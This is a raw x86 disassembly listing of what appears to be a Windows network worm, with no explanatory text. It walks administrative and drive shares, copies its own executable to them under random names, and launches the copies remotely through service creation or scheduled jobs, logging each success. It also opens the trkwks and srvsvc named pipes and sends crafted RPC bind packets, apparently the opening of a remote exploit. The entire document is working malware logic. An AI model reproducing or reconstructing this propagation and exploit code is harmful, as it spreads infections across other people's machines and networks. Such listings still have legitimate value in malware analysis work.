var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3ACh
push ebx
push edi
lea eax, [ebp+var_1A4]
push 190h
mov edi, dword_437180
push eax
push 0FFFFFFFFh
xor ebx, ebx
push [ebp+arg_0]
mov [ebp+var_4], ebx
push ebx
push ebx
call edi ; dword_437180
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_1A4]
push eax
call dword_456E0C
test eax, eax
jnz short loc_4053DF
mov ecx, [ebp+var_4]
cmp ecx, ebx
jz short loc_4053DF
mov eax, [ecx]
push esi
push 3Ch
xor edx, edx
pop esi
div esi
xor edx, edx
push 10h
push ebx
sub eax, [ecx+18h]
mov ecx, 5A0h
inc eax
inc eax
div ecx
lea eax, [ebp+var_14]
push eax
mov esi, edx
call sub_429690
imul esi, 0EA60h
add esp, 0Ch
lea eax, [ebp+var_3AC]
mov [ebp+var_14], esi
push 208h
push eax
push 0FFFFFFFFh
push [ebp+arg_4]
push ebx
push ebx
call edi ; dword_437180
lea eax, [ebp+var_3AC]
mov [ebp+var_8], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_1A4]
push eax
call dword_456E64
test eax, eax
pop esi
jnz short loc_4053DF
inc ebx
loc_4053DF: ; CODE XREF: sub_40532D+3Ej
; sub_40532D+45j ...
push [ebp+var_4]
call dword_456FC0
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40532D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053EE proc near ; CODE XREF: sub_405936+34p
var_514 = byte ptr -514h
var_410 = byte ptr -410h
var_30C = byte ptr -30Ch
var_20C = byte ptr -20Ch
var_108 = byte ptr -108h
var_104 = dword ptr -104h
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D4 = dword ptr -0D4h
var_D0 = dword ptr -0D0h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_C0 = dword ptr 0C8h
arg_C8 = dword ptr 0D0h
arg_D0 = dword ptr 0D8h
push ebp
mov ebp, esp
sub esp, 514h
push ebx
push esi
push edi
call sub_427F4E
xor edi, edi
push 20h
lea eax, [ebp+var_108]
push edi
push eax
call sub_429690
mov eax, [ebp+arg_8]
add esp, 0Ch
mov [ebp+var_F4], eax
lea eax, [ebp+var_108]
push edi
mov [ebp+var_104], 1
push [ebp+arg_0]
mov [ebp+var_F8], edi
mov [ebp+var_EC], edi
push [ebp+arg_4]
push eax
call dword_456FE0
test eax, eax
jnz loc_405922
push [ebp+arg_0]
mov esi, 104h
lea eax, [ebp+var_514]
push offset aAdministratorS ; "Administrator\\\\%s$"
push esi
push eax
call sub_429AEE
lea eax, [ebp+var_514]
add esp, 10h
mov [ebp+var_D0], eax
mov eax, offset aCWindowsSystem ; "C:\\WINDOWS\\system32$"
mov [ebp+var_E8], offset byte_454A34
mov [ebp+var_E4], offset aAdmin_2 ; "ADMIN$"
mov [ebp+var_E0], offset aIpc ; "IPC$"
mov [ebp+var_DC], offset aPrint ; "PRINT$"
mov [ebp+var_D8], offset aS_7 ; "S$"
mov [ebp+var_D4], offset aNetlogon ; "NETLOGON$"
mov [ebp+var_CC], offset aB ; "B$"
mov [ebp+var_C8], offset aC ; "C$"
mov [ebp+var_C4], offset aD ; "D$"
mov [ebp+var_C0], offset aE_0 ; "E$"
mov [ebp+var_BC], offset aF ; "F$"
mov [ebp+var_B8], offset aG ; "G$"
mov [ebp+var_B4], offset asc_43E014 ; "H$"
mov [ebp+var_B0], offset aI ; "I$"
mov [ebp+var_AC], offset aJ ; "J$"
mov [ebp+var_A8], offset aK_0 ; "K$"
mov [ebp+var_A4], offset asc_43E004 ; "L$"
mov [ebp+var_A0], offset aM_1 ; "M$"
mov [ebp+var_9C], offset aN ; "N$"
mov [ebp+var_98], offset aO ; "O$"
mov [ebp+var_94], offset aP_1 ; "P$"
mov [ebp+var_90], offset aQ_0 ; "Q$"
mov [ebp+var_8C], offset aR ; "R$"
mov [ebp+var_88], offset aT ; "T$"
mov [ebp+var_84], offset aU ; "U$"
mov [ebp+var_80], offset aV ; "V$"
mov [ebp+var_7C], offset aW ; "W$"
mov [ebp+var_78], offset asc_43DFDC ; "X$"
mov [ebp+var_74], offset aY_0 ; "Y$"
mov [ebp+var_70], offset aZ ; "Z$"
mov [ebp+var_6C], eax
mov [ebp+var_68], offset aCWinnt ; "C:\\WINNT$"
mov [ebp+var_64], offset aDWindows ; "D:\\WINDOWS$"
mov [ebp+var_60], offset aCWinntSystem32 ; "C:\\WINNT\\system32$"
mov [ebp+var_5C], eax
mov [ebp+var_58], offset aDWinntSystem32 ; "D:\\WINNT\\system32$"
mov [ebp+var_54], offset aDWindowsSystem ; "D:\\WINDOWS\\system32$"
mov [ebp+var_50], offset aEWinntSystem32 ; "E:\\WINNT\\system32$"
mov [ebp+var_4C], offset aEWindowsSystem ; "E:\\WINDOWS\\system32$"
mov [ebp+var_48], offset aCDocume1Admini ; "C$\\DOCUME~1\\ADMINI~1\\"
mov [ebp+var_44], offset aDDocume1Admini ; "D$\\DOCUME~1\\ADMINI~1\\"
mov [ebp+var_40], offset aCDocume1Admi_0 ; "C$\\DOCUME~1\\ADMINI~1$"
mov [ebp+var_3C], offset aDDocume1Admi_0 ; "D$\\DOCUME~1\\ADMINI~1$"
mov [ebp+var_38], offset aAdministrado_1 ; "ADMINISTRADOR$"
mov [ebp+var_34], offset aAdministrato_1 ; "ADMINISTRATOR$"
mov [ebp+var_30], offset aPipe_0 ; "PIPE\\"
mov [ebp+var_2C], offset aPipe ; "PIPE$"
mov [ebp+var_28], offset aWindows_0 ; "WINDOWS$"
mov [ebp+var_24], offset aWinnt_0 ; "WINNT$"
mov [ebp+var_20], offset aMysql_0 ; "MYSQL$"
mov [ebp+var_1C], offset aMssql_0 ; "MSSQL$"
mov [ebp+var_18], offset aDrivec ; "drivec$"
mov [ebp+var_14], offset aBrowser ; "BROWSER$"
mov [ebp+var_10], offset aDevice0 ; "device0$"
mov [ebp+var_C], edi
call sub_429ACC
push 9
pop edi
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
mov ebx, offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
idiv ecx
lea eax, [ebp+var_30C]
push edx
push offset dword_44399C
push ebx
push eax
call sub_429A33
add esp, 20h
lea eax, [ebp+var_410]
push esi
push eax
push 0
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
and [ebp+var_4], 0
mov esi, offset aSSS_4 ; "%s\\%s\\%s"
loc_4056B0: ; CODE XREF: sub_4053EE+3E4j
mov eax, [ebp+var_4]
lea ecx, [ebp+var_30C]
push ecx
mov eax, [ebp+eax*4+var_E8]
push eax
lea eax, [ebp+var_20C]
push [ebp+arg_8]
push esi
push eax
call sub_429A33
add esp, 14h
lea eax, [ebp+var_20C]
push eax
call dword_43706C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4056F9
lea eax, [ebp+var_20C]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
loc_4056F9: ; CODE XREF: sub_4053EE+2F7j
lea eax, [ebp+var_20C]
push 0
push eax
lea eax, [ebp+var_410]
push eax
call dword_437064 ; CopyFileA
test eax, eax
mov [ebp+var_8], eax
jnz loc_4057E2
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 5
jnz loc_4057CB
lea eax, [ebp+var_20C]
push 0
push eax
call sub_42A5F0
pop ecx
test eax, eax
pop ecx
jnz loc_4057CB
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
lea eax, [ebp+var_30C]
push edx
push offset dword_44399C
push ebx
push eax
call sub_429A33
lea eax, [ebp+var_30C]
push eax
mov eax, [ebp+var_4]
push [ebp+eax*4+var_E8]
lea eax, [ebp+var_20C]
push [ebp+arg_8]
push esi
push eax
call sub_429A33
add esp, 34h
lea eax, [ebp+var_20C]
push 0
push eax
lea eax, [ebp+var_410]
push eax
call dword_437064 ; CopyFileA
test eax, eax
mov [ebp+var_8], eax
jnz short loc_4057E2
loc_4057CB: ; CODE XREF: sub_4053EE+335j
; sub_4053EE+34Dj
inc [ebp+var_4]
cmp [ebp+var_4], 38h
jb loc_4056B0
cmp [ebp+var_8], 0
jz loc_405920
loc_4057E2: ; CODE XREF: sub_4053EE+326j
; sub_4053EE+3DBj
mov eax, [ebp+var_4]
lea ecx, [ebp+var_30C]
push ecx
push [ebp+arg_4]
mov eax, [ebp+eax*4+var_E8]
mov [ebp+var_4], eax
push [ebp+arg_0]
push [ebp+arg_8]
push eax
call sub_4051C0
add esp, 14h
test eax, eax
jz loc_4058D0
mov ebx, offset aSSSSSSCreateds ; "%s %s: -> [%s\\%s, %s/%s] (CreatedServic"...
loc_405815: ; CODE XREF: sub_4053EE+4FCj
cmp [ebp+arg_D0], 0
mov edi, offset dword_43A357
mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
jz short loc_405871
cmp [ebp+arg_C8], 0
jnz short loc_40587A
push offset byte_454A34
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
mov eax, offset aBlank ; "(Blank)"
jz short loc_40584B
mov eax, [ebp+arg_4]
loc_40584B: ; CODE XREF: sub_4053EE+458j
push eax
mov eax, [ebp+arg_C0]
push [ebp+arg_0]
shl eax, 6
push [ebp+var_4]
add eax, edi
push [ebp+arg_8]
push eax
push esi
push ebx
push [ebp+arg_C]
push [ebp+arg_10]
call sub_41CD84
add esp, 24h
loc_405871: ; CODE XREF: sub_4053EE+438j
cmp [ebp+arg_C8], 0
jz short loc_4058BA
loc_40587A: ; CODE XREF: sub_4053EE+441j
push offset byte_454A34
push [ebp+arg_4]
call dword_437174 ; lstrcmpiA
test eax, eax
mov eax, offset aBlank ; "(Blank)"
jz short loc_405894
mov eax, [ebp+arg_4]
loc_405894: ; CODE XREF: sub_4053EE+4A1j
push eax
mov eax, [ebp+arg_C0]
push [ebp+arg_0]
shl eax, 6
push [ebp+var_4]
add eax, edi
push [ebp+arg_8]
push eax
push esi
push ebx
push [ebp+arg_C]
push [ebp+arg_10]
call sub_41CD0E
add esp, 24h
loc_4058BA: ; CODE XREF: sub_4053EE+48Aj
mov eax, [ebp+arg_C0]
xor edi, edi
shl eax, 6
lea eax, dword_43A380[eax]
inc dword ptr [eax]
inc edi
jmp short loc_405922
; ---------------------------------------------------------------------------
loc_4058D0: ; CODE XREF: sub_4053EE+41Cj
lea eax, [ebp+var_30C]
push eax
push [ebp+arg_8]
call sub_40532D
pop ecx
test eax, eax
pop ecx
jz short loc_4058EF
mov ebx, offset aSSSSSSNetsched ; "%s %s: -> [%s\\%s, %s/%s] (NetSchedJobAd"...
jmp loc_405815
; ---------------------------------------------------------------------------
loc_4058EF: ; CODE XREF: sub_4053EE+4F5j
lea eax, [ebp+var_20C]
push eax
call dword_43706C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_405913
lea eax, [ebp+var_20C]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
loc_405913: ; CODE XREF: sub_4053EE+511j
lea eax, [ebp+var_20C]
push eax
call dword_437060 ; DeleteFileA
loc_405920: ; CODE XREF: sub_4053EE+3EEj
xor edi, edi
loc_405922: ; CODE XREF: sub_4053EE+5Aj
; sub_4053EE+4E0j
push 1
push 1
push [ebp+arg_8]
call dword_456F90
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_4053EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405936 proc near ; CODE XREF: sub_405990+137p
; sub_405990+1B4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
cmp off_43CE08, 0
push ebx
push esi
push edi
jz short loc_405984
mov eax, offset off_43CE08
mov ebx, eax
loc_40594C: ; CODE XREF: sub_405936+4Cj
sub esp, 0C4h
lea esi, [ebp+arg_10]
push 31h
pop ecx
mov edi, esp
push [ebp+arg_C]
rep movsd
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
push [ebp+arg_0]
call sub_4053EE
add esp, 0D8h
cmp eax, 1
jz short loc_40598B
add ebx, 4
mov eax, ebx
cmp dword ptr [ebx], 0
jnz short loc_40594C
loc_405984: ; CODE XREF: sub_405936+Dj
xor eax, eax
loc_405986: ; CODE XREF: sub_405936+58j
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40598B: ; CODE XREF: sub_405936+42j
xor eax, eax
inc eax
jmp short loc_405986
sub_405936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405990 proc near ; CODE XREF: sub_406D50+366p
var_62C = byte ptr -62Ch
var_244 = byte ptr -244h
var_118 = byte ptr -118h
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 62Ch
push ebx
push esi
lea eax, [ebp+arg_8]
push edi
push eax
lea eax, [ebp+var_30]
xor ebx, ebx
push offset aS_0 ; "\\\\%s"
push eax
mov [ebp+var_4], ebx
mov [ebp+var_14], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_18], ebx
call sub_429A33
add esp, 0Ch
lea eax, [ebp+var_62C]
push 3E8h
push eax
lea eax, [ebp+var_30]
push 0FFFFFFFFh
push eax
push ebx
push ebx
call dword_437180 ; MultiByteToWideChar
lea eax, [ebp+var_30]
mov [ebp+var_40], ebx
push eax
lea eax, [ebp+var_118]
push offset aSIpc ; "%s\\IPC$"
push eax
mov [ebp+var_34], ebx
mov [ebp+var_4C], ebx
call sub_429A33
lea eax, [ebp+var_118]
add esp, 0Ch
mov [ebp+var_3C], eax
mov eax, offset byte_454A34
push ebx
push eax
push eax
lea eax, [ebp+var_50]
push eax
call dword_456FE0
test eax, eax
jz short loc_405A30
push 1
lea eax, [ebp+var_118]
push ebx
push eax
call dword_456F90
xor eax, eax
jmp loc_405B64
; ---------------------------------------------------------------------------
loc_405A30: ; CODE XREF: sub_405990+87j
; sub_405990+16Ej
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
lea eax, [ebp+var_62C]
push ebx
push eax
call dword_456E40
mov [ebp+var_C], eax
push 1
lea eax, [ebp+var_118]
push ebx
push eax
call dword_456F90
cmp [ebp+var_C], ebx
jz short loc_405A73
cmp [ebp+var_C], 0EAh
jnz short loc_405AE6
loc_405A73: ; CODE XREF: sub_405990+D8j
mov eax, [ebp+var_4]
cmp eax, ebx
mov [ebp+var_10], eax
jz short loc_405AF7
cmp [ebp+var_14], ebx
mov [ebp+var_8], ebx
jbe short loc_405AE6
loc_405A85: ; CODE XREF: sub_405990+154j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_405AE6
push ebx
push ebx
lea ecx, [ebp+var_244]
push 12Ch
push ecx
push 0FFFFFFFFh
push dword ptr [eax]
push ebx
push ebx
call dword_437074 ; WideCharToMultiByte
sub esp, 0C4h
lea eax, [ebp+var_30]
lea esi, [ebp+arg_8]
push 31h
pop ecx
mov edi, esp
push [ebp+arg_4]
rep movsd
push [ebp+arg_0]
push eax
lea eax, [ebp+var_244]
push eax
call sub_405936
add esp, 0D4h
cmp eax, 1
jz short loc_405AE6
add [ebp+var_10], 4
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [ebp+var_14]
jb short loc_405A85
loc_405AE6: ; CODE XREF: sub_405990+E1j
; sub_405990+F3j ...
cmp [ebp+var_4], ebx
jz short loc_405AF7
push [ebp+var_4]
call dword_456FC0
mov [ebp+var_4], ebx
loc_405AF7: ; CODE XREF: sub_405990+EBj
; sub_405990+159j
cmp [ebp+var_C], 0EAh
jz loc_405A30
cmp [ebp+var_4], ebx
jz short loc_405B12
push [ebp+var_4]
call dword_456FC0
loc_405B12: ; CODE XREF: sub_405990+177j
cmp [ebp+var_C], 5
jnz short loc_405B61
cmp off_43CBE8, ebx
jz short loc_405B61
mov eax, offset off_43CBE8
mov [ebp+var_8], eax
loc_405B28: ; CODE XREF: sub_405990+1CFj
sub esp, 0C4h
lea esi, [ebp+arg_8]
push 31h
pop ecx
mov edi, esp
push [ebp+arg_4]
rep movsd
push [ebp+arg_0]
lea ecx, [ebp+var_30]
push ecx
push dword ptr [eax]
call sub_405936
add esp, 0D4h
cmp eax, 1
jz short loc_405B61
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
cmp [eax], ebx
jnz short loc_405B28
loc_405B61: ; CODE XREF: sub_405990+186j
; sub_405990+18Ej ...
xor eax, eax
inc eax
loc_405B64: ; CODE XREF: sub_405990+9Bj
pop edi
pop esi
pop ebx
leave
retn
sub_405990 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_405B69 proc near ; DATA XREF: ?9:0043A004o
jmp $+5
sub_405B69 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_405B6E proc near
mov eax, dword_43E0C8
add eax, 6
mov dword_455374, eax
retn
sub_405B6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B7C proc near ; CODE XREF: sub_405B7C+D0p
; sub_405C6A+5E4p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_405B90
or [ebp+arg_7], 1
jmp short loc_405B94
; ---------------------------------------------------------------------------
loc_405B90: ; CODE XREF: sub_405B7C+Cj
and [ebp+arg_7], 0FEh
loc_405B94: ; CODE XREF: sub_405B7C+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_405BB8
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_405BCA
; ---------------------------------------------------------------------------
loc_405BB8: ; CODE XREF: sub_405B7C+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_405BCA: ; CODE XREF: sub_405B7C+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_4296E8
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_405C63
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_429350
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_437078 ; WriteFile
test eax, eax
jz short loc_405C5A
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_405C5A
push [ebp+arg_20]
call sub_429822
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_405C56
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_405B7C
add esp, 2Ch
jmp short loc_405C65
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_405B7C+B3j
mov al, 1
jmp short loc_405C65
; ---------------------------------------------------------------------------
loc_405C5A: ; CODE XREF: sub_405B7C+9Cj
; sub_405B7C+A4j
push [ebp+arg_20]
call sub_429822
pop ecx
loc_405C63: ; CODE XREF: sub_405B7C+61j
xor al, al
loc_405C65: ; CODE XREF: sub_405B7C+D8j
; sub_405B7C+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_405B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C6A proc near ; CODE XREF: sub_406391+4Fp
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
var_20DC = byte ptr -20DCh
var_DC = byte ptr -0DCh
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_D4 = dword ptr -0D4h
var_D0 = word ptr -0D0h
var_CE = word ptr -0CEh
var_CC = dword ptr -0CCh
var_C8 = word ptr -0C8h
var_C6 = word ptr -0C6h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = word ptr -0BCh
var_BA = byte ptr -0BAh
var_B8 = byte ptr -0B8h
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
var_94 = dword ptr -94h
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = qword ptr -68h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
arg_CC = dword ptr 0D4h
push ebp
mov ebp, esp
mov eax, 60DCh
call sub_429A90
mov eax, [ebp+arg_CC]
push ebx
push esi
xor ebx, ebx
lea esi, [eax+eax*4]
push edi
shl esi, 2
cmp byte_43E0B0[esi], bl
jz loc_405DD6
lea eax, [ebp+arg_8]
push offset dword_43AB8C
push eax
call sub_42A7F0
pop ecx
mov edi, 2000h
test eax, eax
pop ecx
jz short loc_405CF2
lea eax, [ebp+arg_8]
push eax
push offset aSIpc_0 ; "\\\\%s\\IPC$"
lea eax, [ebp+var_20DC]
push edi
push eax
call sub_429AEE
push 20h
lea eax, [ebp+var_90]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_20DC]
add esp, 1Ch
mov [ebp+var_7C], eax
mov eax, offset byte_454A34
push ebx
push eax
push eax
lea eax, [ebp+var_90]
push eax
call sub_428FFA
loc_405CF2: ; CODE XREF: sub_405C6A+41j
lea eax, [ebp+arg_8]
push eax
push offset aSPipeTrkwks ; "\\\\%s\\pipe\\trkwks"
lea eax, [ebp+var_40DC]
push edi
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_CC], eax
jnz loc_405DDB
lea eax, [ebp+arg_8]
push offset dword_43AB8C
push eax
call sub_42A7F0
pop ecx
test eax, eax
pop ecx
jz short loc_405D90
lea eax, [ebp+arg_8]
push eax
push offset aSIpc_0 ; "\\\\%s\\IPC$"
lea eax, [ebp+var_20DC]
push edi
push eax
call sub_429AEE
push 20h
lea eax, [ebp+var_90]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_20DC]
add esp, 1Ch
mov [ebp+var_7C], eax
mov eax, offset byte_454A34
push ebx
push eax
push eax
lea eax, [ebp+var_90]
push eax
call sub_428FFA
loc_405D90: ; CODE XREF: sub_405C6A+DFj
lea eax, [ebp+arg_8]
push eax
push offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc"
lea eax, [ebp+var_40DC]
push edi
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_CC], eax
jnz short loc_405DDB
jmp loc_40638A
; ---------------------------------------------------------------------------
loc_405DD6: ; CODE XREF: sub_405C6A+24j
mov edi, 2000h
loc_405DDB: ; CODE XREF: sub_405C6A+C7j
; sub_405C6A+165j
cmp byte_43E0B1[esi], bl
jz loc_405E85
lea eax, [ebp+arg_8]
push offset dword_43AB8C
push eax
call sub_42A7F0
pop ecx
test eax, eax
pop ecx
jz short loc_405E40
lea eax, [ebp+arg_8]
push eax
push offset aSIpc_0 ; "\\\\%s\\IPC$"
lea eax, [ebp+var_20DC]
push edi
push eax
call sub_429AEE
push 20h
lea eax, [ebp+var_90]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_20DC]
add esp, 1Ch
mov [ebp+var_7C], eax
mov eax, offset byte_454A34
push ebx
push eax
push eax
lea eax, [ebp+var_90]
push eax
call sub_428FFA
loc_405E40: ; CODE XREF: sub_405C6A+18Fj
lea eax, [ebp+arg_8]
push eax
push offset aSPipeSrvsvc ; "\\\\%s\\pipe\\srvsvc"
lea eax, [ebp+var_40DC]
push edi
push eax
call sub_429AEE
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_43705C ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_CC], eax
jz loc_40638A
loc_405E85: ; CODE XREF: sub_405C6A+177j
push 48h
lea eax, [ebp+var_D8]
push ebx
push eax
call sub_429690
push 10h
mov [ebp+var_D8], 5
pop eax
mov [ebp+var_D7], bl
mov [ebp+var_D4], eax
push eax
lea eax, [ebp+var_B8]
push offset dword_43E170
push eax
mov [ebp+var_D6], 0Bh
mov [ebp+var_D5], 3
mov [ebp+var_D0], 48h
mov [ebp+var_CE], bx
mov [ebp+var_CC], ebx
mov [ebp+var_C8], 10B8h
mov [ebp+var_C6], 10B8h
mov [ebp+var_C4], ebx
mov [ebp+var_C0], 1
mov [ebp+var_BC], bx
mov [ebp+var_BA], 1
call sub_429350
push 10h
lea eax, [ebp+var_A4]
push offset dword_43E15C
push eax
mov [ebp+var_A8], 3
call sub_429350
add esp, 24h
lea eax, [ebp+var_DC]
mov [ebp+var_94], 2
push ebx
push eax
lea eax, [ebp+var_D8]
push 48h
push eax
push [ebp+arg_CC]
call dword_437078 ; WriteFile
test eax, eax
jz loc_406029
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push edi
push eax
push [ebp+arg_CC]
call dword_437084 ; ReadFile
push ebx
call sub_42A705
push eax
call sub_429ABF
push 14h
lea eax, [ebp+var_70]
push 41h
push eax
call sub_429690
push 1Ch
